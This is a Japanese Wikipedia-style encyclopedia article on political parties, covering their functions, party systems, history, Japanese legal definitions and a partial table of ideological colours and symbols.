'''政党'''(せいとう)とは、共通の[[政治]]的[[目的]]を持つ者によって[[組織 (社会科学)|組織]]される政治団体である<ref group="注釈">{{harv|苅谷千尋|2006}}によると[[18世紀]]のイギリス下院議員[[エドマンド・バーク]]は、政党について名誉や徳目による結合であり、私利私欲に基づく[[人間]]集団(徒党)ではないとしている。</ref>。[[選挙]]や[[革命]]を通じて[[政治権力]]を獲得、維持し、または政策決定過程に影響力を行使することによって、政策を実現しようとする。政党は[[市民革命]]以後の近代[[欧米]]諸国において、選挙制度とともに発達した。現代では欧米に留まらず、ほとんどの国において政党を基軸にした政治が展開されている<ref name="b&m">[https://kotobank.jp/word/%E6%94%BF%E5%85%9A-86273 ブリタニカ国際大百科事典 小項目事典や百科事典マイペディア「政党」(コトバンク)]</ref>。[[日本国]]内においては、[[政党助成法]]における政党要件を満たした政党(いわゆる'''国政政党''')のみを指す場合もある。
== 概要 ==
政治において[[政策]]や主張に共通点のある者同士が集まって、意見の集約と統一された政策の形成を図り、[[政権]]を担当もしくは政策決定過程に影響力を持つことで政策の実現を図る集団を政党という<ref name="b&m"/>。名士や有力者の活動家から成る[[名望家政党]]と、できるかぎり多数の党員を組織して彼らから資金を集めて代表者を党員による選挙で選ぶ[[大衆政党]]に大別できるが、実際にはほとんどの政党がこの2つのタイプの要素を混合して持っている<ref name="b&m"/>。
政党の[[結成]]を'''結党'''<ref>[https://kotobank.jp/word/%E7%B5%90%E5%85%9A-490692#E5.A4.A7.E8.BE.9E.E6.9E.97.20.E7.AC.AC.E4.B8.89.E7.89.88 精選版 日本国語大辞典「結党」(コトバンク)]</ref>、[[解散]]を'''解党'''といい<ref>[https://kotobank.jp/word/%E8%A7%A3%E5%85%9A-458130#E5.A4.A7.E8.BE.9E.E6.9E.97.20.E7.AC.AC.E4.B8.89.E7.89.88 精選版 日本国語大辞典「解党」(コトバンク)]</ref>、政党に加入している者を'''[[党員]]'''<ref>[https://kotobank.jp/word/%E5%85%9A%E5%93%A1-337846#E7.B2.BE.E9.81.B8.E7.89.88.20.E6.97.A5.E6.9C.AC.E5.9B.BD.E8.AA.9E.E5.A4.A7.E8.BE.9E.E5.85.B8 精選版 日本国語大辞典「党員」(コトバンク)]</ref>、その最高責任者を'''[[党首]]'''<ref>[https://kotobank.jp/word/%E5%85%9A%E9%A6%96-338779 大辞林 第三版「党首」(コトバンク)]</ref>、党を外部から支持し援助する者を'''[[党友]]'''と呼ぶ<ref>[https://kotobank.jp/word/%E5%85%9A%E5%8F%8B-581556#E5.A4.A7.E8.BE.9E.E6.9E.97.20.E7.AC.AC.E4.B8.89.E7.89.88 大辞林 第三版「党友」(コトバンク)]</ref>。
また、政党の目的とその実現の道筋を定めた文書は一般に[[綱領]]と呼ぶ。歴史的には体制変革を目指す党、とりわけ社会主義政党は綿密な党綱領を持つことが多い。保守主義政党や中間政党のような特定の世界観を持たない党の場合は一般的・抽象的な綱領に留まることも多い<ref>[https://kotobank.jp/word/%E7%B6%B1%E9%A0%98-63392#E4.B8.96.E7.95.8C.E5.A4.A7.E7.99.BE.E7.A7.91.E4.BA.8B.E5.85.B8.20.E7.AC.AC.EF.BC.92.E7.89.88 世界大百科事典 第2版「綱領」(コトバンク)]</ref>。
政党の数や権力との関係による分析には、'''[[一党独裁制]]'''、'''[[複数政党制]]'''、'''[[ヘゲモニー政党制]]'''などがある<ref>[https://kotobank.jp/word/%E3%83%98%E3%82%B2%E3%83%A2%E3%83%8B%E3%83%BC%E6%94%BF%E5%85%9A%E5%88%B6-1750111 ブリタニカ国際大百科事典 小項目事典 ヘゲモニー政党制 (コトバンク)]</ref>。また政権に参加している政党を'''[[与党]]'''、参加していない政党を'''[[野党]]'''と呼ぶが、社会主義国では政党は共産党のみで野党は存在しないことが多い<ref name=britanica>[https://kotobank.jp/word/%E4%B8%8E%E5%85%9A%E3%83%BB%E9%87%8E%E5%85%9A-1604797 日本大百科全書(ニッポニカ) 「与党・野党」 (コトバンク)]</ref>。
== 機能 ==
政党は社会に発生する紛争を政治問題として提示することが必要となる。[[ガブリエル・アーモンド]]はこの機能を利益表出機能と呼んだ<ref name="Mito">{{Cite book|和書|author=加藤秀治郎; 岩渕美克; 佐治孝夫; Sartori, Giovanni; Popper, Karl Raimund, Sir |year=2013 |title=政治社会学 |publisher=一藝社 |edition=第5版 |NCID=BB12007110 |ISBN=9784863590502 |id={{全国書誌番号|22213416}} |url=https://iss.ndl.go.jp/books/R100000002-I024270737-00 |ref={{harvid|政治社会学}} |pages=68-71}}</ref>。また、社会内部の様々な利益を集約し、政治へと反映させる機能がある。政党が政策という形で市民に対し利益の集約したものを提示し、政府に対してそれを提示して実行させるよう努める。これを利益集約機能と呼ぶ。また、政党が集約したわかりやすい政策や争点を市民に提示することで、市民の政治への理解・参加を促進させる機能も持つ<ref name="Mito"/>。
政治指導者の補充・選出機能も重要である。政策の似通ったものから候補を選抜して選挙に出馬させ、当選すれば党内にて経験を積ませながら育成し、より高度な集団を率いることのできるようなリーダーを育成していく。そして政党の力を利用してそのリーダーを[[元首]]などの国家指導者に就任させる。この際政党は政府内部で[[内閣]]や大統領府を自らのメンバーを主体として組織し、政策決定機関を組織化することも行う<ref>「Next教科書シリーズ 政治学」p117 山田光矢編 弘文堂 2011年3月15日初版1刷</ref>。そして選挙によって勝利した政党は与党として政権を担当し、敗北した政党は野党として与党の政策の不備な点を批判し、監視・修正させる機能を持つ{{sfn|新版.政治学の基礎|p=93-94}}。この与党・野党は民主主義国家であれば選挙結果によって当然入れ替わりを生じるため、政党には政権担当能力・政権批判能力のどちらも保持していることが求められる<ref>「Next教科書シリーズ 政治学」p126-127 山田光矢編 弘文堂 2011年3月15日初版1刷</ref>。
一党独裁という用語があるとおり、[[独裁政治]]の場合でも、政党は決して無用なものではない。[[権威主義]]体制下における政党の機能としては、権力の共有を確保する機能が挙げられる。一党独裁国家において政権のトップには任期が定められていることも多く、後継者はふたたび党内から選出されるため、有力者が次期政権を獲得する期待を持つことが出来、武力による権力奪取の動きを抑える役割を果たすのである{{sfn|比較政治学|p=144-145}}。一党制国家では上記のような権力継承のシステムが確立されているため、権威主義体制のなかでも安定度が高く長期化しやすい体制となっている{{sfn|比較政治学|p=149}}。
== 管理運営 ==
政党の規律の強さは各国によって異なる。日本や西欧など議院内閣制の国家においては党内の規律が強く、各議員には[[党議拘束]]がかけられ、議会では党の決定の通りの投票をすることが求められる。これに対し、アメリカなどでは党の規律が弱く、各議員はそれぞれの判断に従って投票を行い、党議拘束はかけられない{{sfn|政治学入門|p=198}}。
政党の収入は、党員から徴収する党費や、政党自身が運営する事業からの収入、[[政治献金]]などが主なものであり、収入の柱は各国・各党によって異なる。また、政府から政党に対し[[助成金]]が交付される国家も存在し、日本でも1995年以降[[政党交付金]]が各党に交付されている{{sfn|新版.政治学の基礎|p=123-125}}。
党内において共通点を持つ者が集まって党全体に影響を与えるために形成する集団は[[派閥]]と呼ばれる。派閥は資金や役職などの利得の配分をおもな機能とし、[[分派]]とは異なる。分派は一定の主張のもとに全体の路線の改変を狙い、場合によっては分裂も辞さない集団を指す<ref>[https://kotobank.jp/word/%E6%B4%BE%E9%96%A5-172887#E6.97.A5.E6.9C.AC.E5.A4.A7.E7.99.BE.E7.A7.91.E5.85.A8.E6.9B.B8.28.E3.83.8B.E3.83.83.E3.83.9D.E3.83.8B.E3.82.AB.29 日本大百科全書(ニッポニカ) 「派閥」 (コトバンク)]</ref>。
== 政党制 ==
{{main|政党制}}
政党はその国によって、様々なシステム([[政党制]])が存在する。政党制は、まずは政党の数によって[[一党制]]と[[複数政党制]]の二種類に分けられるのが通例である。一党制の国は政党の選択システムがないため政権交代が原理的に不可能であり、実質的には[[独裁制]]と同義である。名目上複数政党制となっている国においても、例えば[[中華人民共和国]]や[[1989年]]以前の[[東ヨーロッパ]]のいくつかの国のように政権交代が原理上不可能であり、覇権政党と[[衛星政党]]しか存在しない、いわゆる[[ヘゲモニー政党制]]の国家も存在し、こうした国は当然民主国家とはみなされない。実質的な多党制の敷かれている国においては、主に政党数や政党間の関係によっていくつかの種類に分けられる。[[モーリス・デュヴェルジェ]]の分類においては[[二大政党制]]と[[多党制]]の2つに分類されていたが、のちに[[ジョヴァンニ・サルトーリ]]によってさらに細分化され、[[一党優位政党制]]、二大政党制、[[穏健な多党制]]、[[分極的多党制]]、原子化政党制の5つに分けられるようになった{{sfn|政治学入門|p=63-64}}。また、このほかにもいくつかの政党制分類法が存在している。
各国の政党制は、当該国のさまざまな状況によって規定される。選挙制度と政党数には密接な関係があるとされており、1選挙区から1名のみ当選者を出す[[小選挙区制]]では政党が集約され二大政党制になりやすく、各党の得票率に応じて議席の配分される[[比例代表制]]においては多党制になりやすいとされる{{sfn|新版.政治学の基礎|p=113-114}}。最大党が議会の過半数の議席を獲得できなかった場合は、多くの場合[[連立政権]]を組織し過半数を確保するが、まれに過半数に満たないまま内閣を組織し政権を運営する場合もある{{sfn|新版.政治学の基礎|p=104-105}}。
また、政党はその政治主張や[[イデオロギー]]によってもいくつかに区分される。[[共産主義]]、[[社会主義]]、[[社会民主主義]]、[[民主社会主義]]、[[自由主義]]、[[キリスト教民主主義]]、[[保守主義]]などである。こうした政党はイデオロギーごとにそれぞれ[[国際機関|国際組織]]を持っており、社会主義、社会民主主義、民主社会主義政党の所属する[[社会主義インターナショナル]]や、自由主義政党の所属する[[自由主義インターナショナル]]、保守主義政党の所属する[[国際民主同盟]]などが存在する。綱領に対して厳格な政党はイデオロギー政党と呼ばれることがある<ref name="Mito"/>。
各国国内において、政党は[[政治的スペクトル]]によって分類される。現体制を維持し、伝統的価値を重視することに利益を見出し、急進的改革より漸進的改革を志向する政党は[[保守政党]]と呼ばれる。英国の[[トーリー党 (イギリス)|トーリー党]]がその典型だったが、[[19世紀]]末頃から各国で社会主義政党が台頭してくると[[資本主義]]を擁護する政党を指して保守政党と呼ぶようになった<ref>[https://kotobank.jp/word/%E4%BF%9D%E5%AE%88%E6%94%BF%E5%85%9A-1592332 日本大百科全書(ニッポニカ) 「保守政党」 (コトバンク)]</ref>。これに対して既成の国家体制に対して改革や革命を求める政党を[[革新政党]]と呼ぶ。一般に社会党や共産党のことを指す。ヨーロッパ諸国においては第二次世界大戦後は政党の包括政党化でイデオロギー対立が弱まり、保革両陣営を含む連立政権が成立するなど、政策距離は戦前ほど大きくなくなっていったが、日本では1990年代の[[55年体制]]崩壊の頃までは[[日米安保]]、[[自衛隊]]、[[天皇制]]、憲法改正などの争点をめぐって激しい保革の対立があった<ref>[https://kotobank.jp/word/%E9%9D%A9%E6%96%B0%E6%94%BF%E5%85%9A-460397#E3.83.96.E3.83.AA.E3.82.BF.E3.83.8B.E3.82.AB.E5.9B.BD.E9.9A.9B.E5.A4.A7.E7.99.BE.E7.A7.91.E4.BA.8B.E5.85.B8.20.E5.B0.8F.E9.A0.85.E7.9B.AE.E4.BA.8B.E5.85.B8 日本大百科全書(ニッポニカ) とブリタニカ国際大百科事典 小項目事典 「革新政党」 (コトバンク)]</ref>。左右どちらにも偏らない中間的な主張をする政党は[[中道政治|中道]]政党と呼ばれ、穏健な革新政党は[[中道左派]]、穏健な保守政党は[[中道右派]]と呼ぶ<ref>[https://kotobank.jp/word/%E4%B8%AD%E9%81%93%E6%94%BF%E5%85%9A-1367231 ブリタニカ国際大百科事典 小項目事典 「中道政党」 (コトバンク)]</ref>。
他に、特定の地域の地方議会で活動するか、地域の利益を代弁する[[地域政党]]<ref>[https://kotobank.jp/word/%E5%9C%B0%E5%9F%9F%E6%94%BF%E5%85%9A-564958 デジタル大辞泉 「地域政党」 (コトバンク)]</ref>、教会や教団、宗教結社の社会生活における既得権や信仰の擁護を目的とする[[宗教政党]]<ref>[https://kotobank.jp/word/%E5%AE%97%E6%95%99%E6%94%BF%E5%85%9A-671681#E6.97.A5.E6.9C.AC.E5.A4.A7.E7.99.BE.E7.A7.91.E5.85.A8.E6.9B.B8.28.E3.83.8B.E3.83.83.E3.83.9D.E3.83.8B.E3.82.AB.29 日本大百科全書(ニッポニカ) 「宗教政党」 (コトバンク)]</ref>、一つの主張のみを争点とし、他の政治問題・争点を主張しない[[単一論点政治|単一争点政党(ワンイシュー政党・シングルイシュー政党)]]<ref>[https://kotobank.jp/word/%E3%83%AF%E3%83%B3%E3%82%A4%E3%82%B7%E3%83%A5%E3%83%BC%E6%94%BF%E5%85%9A-1820451 デジタル大辞泉 ワンイシュー政党 (コトバンク)]</ref>といった分類も存在する。
== 歴史 ==
=== 近代 ===
[[身分制議会]]の時代には議会の権限が弱く、また議員は出身母体の意思を正確に代理しなければならなかったため、政党は存在しなかった。しかし議会の権限が拡大して国家の意思決定機関となり、また議員への委任が緩和されて代表委任制が確立し、議員が議会内で自由な投票行動が取れるようになったこと、そして議会内で[[多数決]]原理が確立したことから議会内における政治集団の重要性が増大し、政党が成立した{{sfn|政治学入門|p=59-60}}。
議員である有力者が議会運営のために作った'''[[名望家政党]]'''('''[[幹部政党]]''')が初期の政党である。[[普通選挙]]の採用にともない増加した選挙民との結合が困難になると、議会外に多くの[[党員]]を持つ'''[[大衆政党]]'''が出現した。新しい大衆政党の挑戦を受けて、以前の名望家政党も党員層を広げた。[[保守主義]]、[[自由主義]]の政党が名望家政党の形態をとることが多く、[[社会民主主義]]、[[共産主義]]の政党が大衆政党の形態をとることが多かった。次いで、ある一定の階級やグループに基盤を置くのではなく、社会全体のあらゆるグループから支持を集める政党が出現した<ref>「現代政治学 第3版」p141 加茂利男・大西仁・石田徹・伊東恭彦著 有斐閣 2007年9月30日第3版第1刷</ref>。このタイプの政党は[[包括政党]]と呼ばれ、党員は薄く広く広がっているものの、議員が主導権を握っているのが特徴である<ref>「政治学の第一歩」p88 砂原庸介・稗田健志・多湖淳著 有斐閣 2015年10月15日初版第1刷</ref>。
{{Main2|各国の政党の流れ|政党の歴史}}
=== 現代 ===
[[マスメディア]]の発達によって著名な政治家・党の意見が直接選挙民に届くようになったため、党組織の役割は低下し、大衆政党もふるわなくなった。人々の関心が国政の長たる首相・大統領とそれら公職への候補個人に集中することで、政党の力はさらに低下したとする観測などがある。
だが、政党衰退に導くような現象が社会に浸透して数十年が経過した現在でも、理論的には起きるはずの選挙結果の流動化が起こっていない。先進民主主義国の多数の[[政党制]]は大きな変化なしに推移している。このことを、社会基盤を失った政党が、ただ選挙市場で既得権をもった独占者として生き延びているとして説明するのが、カルテル政党論である{{sfn|比較政治学|p=184-185}}。
== 法制化 ==
[[世論]]の政党に対する態度は、政党に対する反感、政党の容認、政党の法制化へと移り変わった。政党は本来私的結社でありなんら法的な根拠のあるものではなかったが、この結社が選挙を通じ議会や政府へと進出していくのに伴い、有権者と議会をつなぐ機能が有効なものと認められたため、徐々に政党は重視されるようになった<ref>「政党システム」p189 岩崎正洋 日本経済評論社 2020年2月25日第1刷発行</ref>。19世紀には政党は民主主義と相容れない存在という考え方が主流であったが、選挙権の拡大とともに政党の存在は大きなものとなり、政党を中心とする民主主義が成立した<ref>「政党システム」p194-196 岩崎正洋 日本経済評論社 2020年2月25日第1刷発行</ref>。
==各国における政党==
{{Main|{{仮リンク|世界における政党の一覧|en|List of political parties by region}}}}
===日本===
{{main|日本の政党}}
==== 日本の政治資金規正法における定義 ====
日本の[[政治資金規正法]]では以下のとおり規定している<ref name="soumu">[https://www.soumu.go.jp/senkyo/seiji_s/naruhodo04_2.html 政治団体とは] 総務省</ref>。
* 政党 - 所属する国会議員が5人以上所属または以下の条件に該当する政治団体。[[政党交付金の交付を受ける政党等に対する法人格の付与に関する法律]]に基づき[[登記]]を行うことにより[[法人格]]を得る。
** 前回の衆議院議員総選挙(小選挙区、比例代表)、前回または前々回の参議院議員通常選挙(選挙区・比例代表)のいずれかの全国を通じた得票率が2%以上
** 届出制の[[政党助成法]]により[[政党交付金]]の交付の対象<ref>[https://www.soumu.go.jp/senkyo/seiji_s/naruhodo02.html 政党助成制度] 総務省</ref>
* [[政治資金団体]] - 政党のために資金援助することを目的とした団体
* その他の政治団体 - 上記2例以外の政治団体
** 主義主張団体、政策研究団体、推薦団体、後援団体、特定パーティー開催団体(政治資金パーティーのうち収入が1,000万円以上)など
** 報道などで「政党」として扱われても、設立したばかりの団体など、実際には上記政党要件を満たしていない政治団体が該当
** [[資金管理団体]] - 公職の候補者が代表者である政治団体のうち、政治資金の拠出を受けるべき政治団体として指定したもの
国会議員関係政治団体(以下の1.~3.)は、収支報告に関する特例が設けられている<ref>[https://www.soumu.go.jp/senkyo/seiji_s/naruhodo01_1.html 選挙・政治資金] 総務省</ref>。
# 国会議員、候補者が代表者である政治団体(1号団体)
# 寄附金控除制度の適用を受ける政治団体のうち、特定の国会議員、候補者を推薦または支持を目的とする政治団体(2号団体)
# 政党の支部で、国会議員、候補者が代表者であるもの(みなし1号団体)
なお届出先は一つの都道府県区域で主として活動する政治団体の場合は都道府県の選挙管理委員会。政党や政治資金団体、二つ以上の都道府県にわたって主に活動する政治団体の場合は都道府県の[[選挙管理委員会]]を通した[[総務大臣]]である<ref name="soumu"/>。
== 政党の色とシンボル ==
ほとんどの政党は、有権者が政党を認識し識別しやすくするために、シンボルカラーや[[シンボルマーク]]を制定している。こうしたイメージ戦略は、文字の読めない人が投票用紙の文字の代わりにシンボルマークや色で判断して投票を行うため、[[識字率]]の低い国家ではとくに有効である<ref>{{cite news |url=https://www.cnn.com/style/article/india-election-party-symbols/index.html |title=Ceiling fans, brooms and mangoes: The election symbols of India's political parties |work=CNN |author1=Manveena Suri |author2=Oscar Holland |date=19 April 2019 |access-date=24 January 2021}}</ref>。イデオロギーが同じである政党は、どの国でも同じシンボルカラーを使用する場合が多い<ref name=combos/><ref name=enninful12/>。また、シンボルカラーは画像メディアで政党を表現する際にも利便性が高い<ref name=malasig18/>。シンボルカラーによって[[政党連合]]を現わすこともできる<ref>{{cite news |url=https://www.dw.com/en/germanys-colorful-coalition-shorthand/g-40654452 |title=Germany's colorful coalition shorthand |work=[[Deutsche Welle]] |first=Ian P. |last=Johnson |date=20 November 2017 |access-date=24 January 2021}}</ref>。[[台湾]]における[[泛緑連盟]]や[[泛藍連盟]]などがこの例である。
ただし、色とイデオロギーの関係には一貫性がなく、同じイデオロギーでも別の国で別の色を使用することや、同じ国で別のイデオロギーの政党が同じシンボルカラーを使用することもけっして珍しくはない<ref>{{cite web |url=https://blog.datawrapper.de/partycolors/ |title=Election reporting: Which color for which party? |first=Lisa Charlotte |last=Rost |publisher=Datawrapper |date=28 August 2018 |access-date=24 January 2021}}</ref>。たとえばアメリカ合衆国では、通常は共産主義や社会主義に用いられる赤を保守的な共和党が使用し、保守主義に用いられることの多い青をリベラルな民主党が使用している<ref name=combos/><ref>{{citation |work=[[The Washington Post]] | title=Elephants Are Red, Donkeys Are Blue |url=https://www.washingtonpost.com/wp-dyn/articles/A17079-2004Nov1.html |first=Paul |last=Farhi |date=2 November 2004 |access-date=24 January 2021}}</ref>。
{| class="wikitable"
|+
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| '''イデオロギー'''
| '''色'''
| '''シンボル'''
| '''例'''
| '''脚注'''
|-
| [[農本主義]]
| {{ubl|{{Color box|#006400|border=darkgray}} 緑}}
| {{ubl|[[穀物]]}}
| [[File:DBD logo transparent.png|link=Democratic Farmers' Party of Germany|60x60px]] [[File:Logo of the Agrarian Party of Russia (2013).svg|link=Agrarian Party of Russia|60x60px]] [[File:Centerpartiet Teillogo.svg|link=Centre Party (Sweden)|60x60px]]
| <ref name=enninful12>{{cite journal |url=https://hdl.handle.net/123456789/5343 |author=Enninful, Ebenezer Kofi |title=The symbolism of Ghanaian political parties and their impact on the electorates |publisher=[[Kwame Nkrumah University of Science and Technology]] |journal=Unpublished doctoral dissertation). School of Graduate Studies, Kwame Nkrumah University of Science and Technology, Kumasi |series=College of Humanities and Social Sciences |date=2012-12-04 |access-date=2022-12-27}}</ref>{{rp|58}}<ref>{{cite news |url=https://nunatsiaq.com/stories/article/65674greenland_vote_likely_headed_for_a_squeaker_this_march_12/ |title=Greenland vote likely headed for a squeaker this March 12 |work=[[Nunatsiaq News]] |first=Jane |last=George |date=11 March 2013 |access-date=24 January 2021}}</ref><ref>{{cite news |url=https://inews.co.uk/news/politics/boris-johnson-wearing-wheat-sheaf-badge-lapel-today-keir-starmer-british-farmers-campaign-explained-641045 |title=Why Boris Johnson and MPs are wearing a wheat sheaf badge on their lapel: The campaign to support British farmers explained |work=[[i (newspaper)|i]] |first=Alex |last=Finnis |date=10 September 2020 |access-date=24 January 2021}}</ref><ref>{{cite web |url=https://www.crwflags.com/fotw/flags/ru%7Dagr.html |title=Agrarian Party of Russia |publisher=Flags of the World |date=27 February 2014 |access-date=24 January 2021}}</ref>
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| [[アナキズム]]
| {{ubl|{{Color box|#000000 |border=darkgray}} 黒|{{Color box|#F50E0E |border=darkgray}} 赤}}
| {{ubl|[[アナキズムのシンボル|黒旗、黒赤旗]]|サークルA|黒猫}}
| [[File:Anarchist flag.svg|link=Syndicalist Party|60x60px]] [[File:FRE-AIT.svg|link=Confederación Nacional del Trabajo|60x60px]] [[File:Partido Liberal Mexicano button 1911.svg|link=Mexican Liberal Party|60x60px]]
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| [[中道主義]]
| {{ubl|{{Color box|#9932CC |border=darkgray}} 紫}}
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| [[File:LogoPFP.svg|link=People First Party (Taiwan)|60x60px]] [[File:DieMitte-logo.svg|link=The Centre (political party)|60x60px]]
| <ref>{{cite journal |author1=Stephen Ansolabehere |author2=Jonathan Rodden |author3=James M. Snyder Jr. |title=Purple America |journal=The Journal of Economic Perspectives |volume=20 |issue=2 |pages=97–118 |year=2006 |doi=}}</ref><ref>{{cite web |url=https://www.gp.org/forget_red_vs_blue |title=Forget Red vs. Blue: The Paradigm for the 21st Century is Orange, Purple, and Green |publisher=United States Green Party |first=Scott |last=McLarty |year=2019 |access-date=24 January 2021}}</ref>
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| [[共産主義]]
| {{ubl|{{Color box|#F50E0E |border=darkgray}} 赤}}
| {{ubl|[[鎌と槌]]|[[握手]]}}
| [[File:Emblem of Vietnam Communist Party.svg|link=Communist Party of Vietnam|60x60px]] [[File:MLKP Badge.svg|link=Marxist–Leninist Communist Party (Turkey)|60x60px]] [[File:Sozialistische Einheitspartei Deutschlands Logo.svg|link=Socialist Unity Party of Germany|60x60px]]
| <ref name=klein18/><ref>{{cite news |url=https://thediplomat.com/2020/08/evolution-of-the-communist-party-of-vietnams-control-over-the-military/ |title=Evolution of the Communist Party of Vietnam's Control Over the Military |work=The Diplomat |first=Bich T. |last=Tran |date=29 August 2019 |access-date=24 January 2021}}</ref><ref>{{cite news |url=https://www.theguardian.com/commentisfree/2013/feb/12/hammer-and-sickle-french-communist-party |title=Has the communist hammer and sickle had its day? |work=[[The Guardian]] |first=Owen |last=Hatherley |date=12 February 2013 |access-date=24 January 2021}}</ref>
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| [[保守主義]]
| {{ubl|{{Color box|#4584F2|border=darkgray}} 青}}
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| [[File:Emblem of the Kuomintang.svg|link=中国国民党|60x60px]] [[File:Bandera del Partido Conservador Colombiano.svg|link=Colombian Conservative Party|60x60px]] [[File:Liberal Democratic Party (Japan) Emblem.jpg|link=Liberal Democratic Party (Japan)|60x60px]]
| <ref>{{citation |work=[[BBC]] | title=Why is the Conservative Party Blue | url=http://news.bbc.co.uk/2/hi/uk_news/magazine/4923050.stm | date=20 April 2006 |access-date=24 January 2021}}</ref><ref>{{cite journal |author1=Alex Marland |author2=Tom Flanagan |title=Brand New Party: Political Branding and the Conservative Party of Canada |journal=Canadian Journal of Political Science |volume=46 |issue=4 |pages=951–972 |date=December 2013 |doi=10.1017/S0008423913001108}}</ref>
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| [[民主社会主義]]
| {{ubl|{{Color box|#F50E0E |border=darkgray}} 赤}}
| {{ubl|握手|赤いバラ|拳}}
| [[File:Democratic Action Party Logo.svg|link=Democratic Action Party|60x60px]] [[File:Bandera del Partido Revolucionario Febrerista.svg|link=Revolutionary Febrerista Party|80x60px]]
| <ref name=korff92>{{cite journal |author1=Gottfried Korff |author2=Larry Peterson |title=From Brotherly Handshake to Militant Clenched Fist: On Political Metaphors for the Worker's Hand |journal=International Labor and Working-Class History |volume=42 |pages=70–81 |date=Fall 1992}}</ref><ref>{{cite news |url=https://mashable.com/2017/05/27/hidden-meaning-rose-emoji-dsa/ |title=The movement behind the rose emoji that you probably don't know about |work=Mashable |first=Sam |last=Speedy |date=27 May 2017 |access-date=24 January 2021}}</ref>
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| [[全体主義]]
| {{ubl|{{Color box|#000000|border=darkgray}} 黒|{{Color box|#964B00|border=darkgray}} 茶}}
| {{ubl|[[ファスケス]]|[[ハーケンクロイツ]]|[[ルーン文字]]}}
| [[File:Flag of the National Fascist Party (PNF).svg|link=National Fascist Party|60x60px]] [[File:Union of Ukrainian Fascists logo.jpg|link=Organization of Ukrainian Nationalists|60x60px]] [[File:Logo of National Socialist Movement.svg|link=National Socialist Movement in the Netherlands|60x60px]]
| <ref name=enninful12/>{{rp|56}}<ref>{{cite journal |first=Juan Francisco |last=Fuentes |title=Shirt Movements in Interwar Europe: a Totalitarian Fashion |journal=Ler História |volume= 72 |pages=151–173 |date=27 June 2018 |doi=10.4000/lerhistoria.3560}}</ref><ref>{{cite web |url=https://www.adl.org/hate-symbols?cat_id%5B151%5D=151 |title=Hate Symbols Database |publisher=[[Anti-Defamation League]] |year=2021 |access-date=24 January 2021}}</ref>
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| [[フェミニズム]]
| {{ubl|{{Color box|#FFFF|border=darkgray}} 白|{{Color box|#9932CC|border=darkgray}} 紫|{{Color box|#FFD700|border=darkgray}} 金|{{Color box|#FFC0CB|border=darkgray}} ピンク}}
| {{ubl|[[♀]]|握りこぶし|[[F]]}}
| [[File:National Woman's Party logo.png|link=National Woman's Party|60x60px]] [[File:FP logo.svg|link=Feminist Party (Finland)|60x60px]]
| <ref>{{cite web |url=https://www.nps.gov/articles/symbols-of-the-women-s-suffrage-movement.htm |title=Symbols of the Women's Suffrage Movement |publisher=United States National Park Service |access-date=24 January 2021}}</ref><ref>{{cite web |url=https://elephant.art/the-real-meanings-behind-six-symbols-of-protest-01072020/ |title=The Real Meanings Behind Six Symbols of Protest |publisher=Elephant art |date=1 July 2020 |access-date=24 January 2021}}</ref>
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| [[緑の政治]]
| {{ubl|{{Color box|#006400|border=darkgray}} 緑}}
| {{ubl|太陽|ひまわり}}
| [[File:Global Greens logo.svg|link=Global Greens|60x60px]] [[File:Alternattiva Demokratika.svg|link=Democratic Alternative (Malta)|60x60px]] [[File:Logo of the Mongolian Green Party.svg|link=Mongolian Green Party|60x60px]]
| <ref>{{cite web |url=https://www.globalgreens.org/party/green-party-taiwan |title=Green Party Taiwan |publisher=Global Greens |date=19 September 2014 |access-date=24 January 2021}}</ref><ref>{{cite news |url=https://www.maltatoday.com.mt/news/national/105892/adpd_launches_new_logo_to_symbolise_partys_ethos#.YA3dcOhKiUk |title=AD+PD launches new logo to symbolise party's ethos |work=Malta Today |date=14 November 2020 |access-date=24 January 2021}}</ref>
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| [[イスラム主義]]
| {{ubl|{{Color box|#006400|border=darkgray}} 緑}}
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| [[File:Logo PPP (1973-1982).svg|link=United Development Party|60x60px]] [[File:Logo of Jamiat-e Islami.svg|link=Jamiat-e Islami|60x60px]] [[File:PKS logo 2020.png|link=Prosperous Justice Party|60x60px]]
| <ref name=combos/><ref>{{cite journal |first=Leo |last=Suryadinata |title=The Decline of the Hegemonic Party System in Indonesia: Golkar after the Fall of Soeharto |journal=Contemporary Southeast Asia |volume=29 |issue=2 |pages=333–358 |date=August 2007}}</ref>
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| [[自由主義]]
| {{ubl|{{Color box|#FFFF33 |border=darkgray}} 黄}}
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| [[File:Social and Liberal Democrats logo.png|link=Liberal Democrats (UK)|60x60px]]
| <ref name=malasig18>{{cite news |url=https://interaksyon.philstar.com/breaking-news/2018/05/16/126899/can-you-paint-with-all-the-colors-of-politics/ |title=Can you paint with all the colors of politics? |work=[[InterAksyon]] |first=Jeline |last=Malasig |date=16 May 2018 |access-date=24 January 2021}}</ref><ref>{{cite news |url=https://www.gq-magazine.co.uk/politics/article/liberal-democrats-comeback |title=There is still a place for Liberal Democrats in British politics |work=GQ |first=Glen |last=O'Hara |date=17 August 2020 |access-date=24 January 2021}}</ref><ref>Cassel-Picot, Muriel "The Liberal Democrats and the Green Cause: From Yellow to Green" in Leydier, Gilles and Martin, Alexia (2013) ''Environmental Issues in Political Discourse in Britain and Ireland''. Cambridge Scholars Publishing. [https://books.google.ca/books?id=fFgxBwAAQBAJ&lpg=PP1&pg=PA105#v=onepage&q&f=false p.105]. {{ISBN2|9781443852838}}</ref>
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| [[リバタリアニズム]]
| {{ubl|{{Color box|#FFFF33 |border=darkgray}} 黄}}
| [[ヤマアラシ]]
| [[File:Libertarian Disc.svg|link=Libertarian Party (United States)|60x60px]] [[File:Partido Libertários Logo.png|link=Libertarian Party (Brazil)|120x60px]]
| <ref name=combos>{{cite web |url=https://www.colorcombos.com/blog/understanding-political-color-designations |title=Understanding Political Color Designations |publisher=Gremillion Consulting |access-date=24 January 2021}}</ref><ref>{{cite news |url=https://www.refinery29.com/en-us/2020/07/9917658/primary-secondary-colors-fall-fashion-trend |title=Why Are Primary Colors Trending In Fashion Right Now? |work=Refinery29 |first=Eliza |last=Huber |date=16 July 2020 |access-date=24 January 2021}}</ref><ref>{{cite news |url=https://entretenimento.uol.com.br/noticias/redacao/2020/05/18/youtuber-mistura-aberturas-de-game-of-thrones-e-tiger-king.htm |title=Youtuber mistura aberturas de "Game of Thrones" e "Tiger King" em animação |language=pt |work=UOL |date=18 May 2020 |access-date=24 January 2021}}</ref><ref>{{cite news |url=https://www.wsj.com/articles/libertarians-spoil-the-election-11604867668 |title=Libertarians Spoil the Election |work=The Wall Street Journal |first=Walter E. |last=Block |date=8 November 2020 |access-date=24 January 2021}}</ref>
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| [[王党派]]
